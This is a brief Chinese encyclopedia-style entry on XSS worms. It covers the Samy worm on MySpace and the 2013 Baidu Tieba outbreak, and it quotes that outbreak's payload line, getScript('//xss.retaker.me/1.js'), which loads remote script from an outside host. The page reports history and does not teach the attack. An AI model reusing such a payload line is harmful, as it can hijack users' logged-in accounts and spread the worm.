XSS蠕虫

✍ dations ◷ 2025-08-13 18:57:39 #注入漏洞,蠕虫病毒

xss蠕虫(cross site scripting worm)是一种跨站病毒,通常由脚本语言Javascript写成,它借由网站访问者传播

历史第一个XSS蠕虫是针对网站Myspace的Samy,它在20小时内感染了100万个账户,作者Samy Kamkar之后被起诉

见对新浪微博的争议#XSS.E6.BC.8F.E6.B4.9E

2013年5月19日, 百度贴吧转帖功能再度出现xss漏洞,大量贴吧内充斥接近满版面, 包含代码getScript('//xss.retaker.me/1.js')为标题的帖子,当已登陆用户打开这样的帖子,用户所持账户便以相同方式在多个贴吧转帖原作者的帖,部分网络安全相关人士认为贴吧爆发了大规模XSS蠕虫感染

2014年3月9日, 百度贴吧转帖功能再度出现xss漏洞

由于XSS蠕虫基于浏览器而不是操作系统,取决于其依赖网站的规模,它可以在短时间内达到对巨大数量的计算机感染

相关

  • 雅各雅各(Jacob或Ya'akov;希伯来语:.mw-parser-output .script-hebrew,.mw-parser-output .script-Hebr{font-size:1.15em;font-family:"Ezra SIL","Ezra SIL SR","Keter Aram Tsov
  • 昆虫纲见内文昆虫在分类学上属于昆虫纲(学名:Insecta),是世界上最繁盛的动物,已发现超过100万种。其中单鞘翅目(Coleoptera)中所含的种数就比其它所有动物界中的种数还多。昆字原作䖵。昆
  • 朝九晚五朝九晚五是一个描述多数企业员工上班时间的用句,这个时间也是美国标准工作时间,英文称为“9 to 5”。但是对于华语世界而言,则大多会在中午穿插1小时~1.5小时的午休时间,导致上班
  • 托尼奖托尼奖(Tony Award),又作托妮奖,是美国剧场界最高荣誉,参选剧目包括话剧类和音乐剧类。美国剧院联盟于1946年设立本奖项,现在由美国剧院联盟与百老汇联盟举办。托尼奖与电影奥斯卡
  • 趋同进化在演化生物学中,趋同演化(英语:Convergent evolution)指的是两种不具近缘关系的生物长期生活在相同或相似的环境(或曰生态系统)中,因应需要而发展出相同功能的器官(即同功器官)的现象
  • 约翰·恩德斯约翰·富兰克林·恩德斯(英语:John Franklin Enders,1897年2月10日-1985年9月8日),美国医学家和诺贝尔奖持有者。恩德斯出生于康涅狄格州的西哈特福,曾就读于诺亚·韦伯斯特学校与
  • 模拟电路模拟电路(英语:analogue electronics,美式:analog electronics)是涉及连续函数形式模拟信号的电子电路,与之相对的是数字电路,后者通常只关注0和1两个逻辑电平。“模拟”二字主要指
  • 鬣狗鬣狗科(学名:Hyaenidae)(旧译:海乙那)是体型中等偏小的肉食性哺乳动物,主要生活在非洲、西亚和印度次大陆。尽管根据动物谱系学,鬣狗科更接近于猫科和灵猫科,然而根据从形态及其习性
  • 柏林马拉松赛柏林马拉松是德国柏林一年一度举办的马拉松赛事在9月的最后一个星期日,比赛自1974年开始举办,获得国际田径联合会(IAAF)金牌等级认证的全程马拉松,现时的主要赞助商为宝马(BMW),因
  • 德城区德城区是中国山东省德州市所辖的一个市辖区,为德州市市政府所在地,因位于德州市城区而得名。德城区位于山东省西北边界,总面积为539平方公里,2001年人口为54万。在德州地区,口头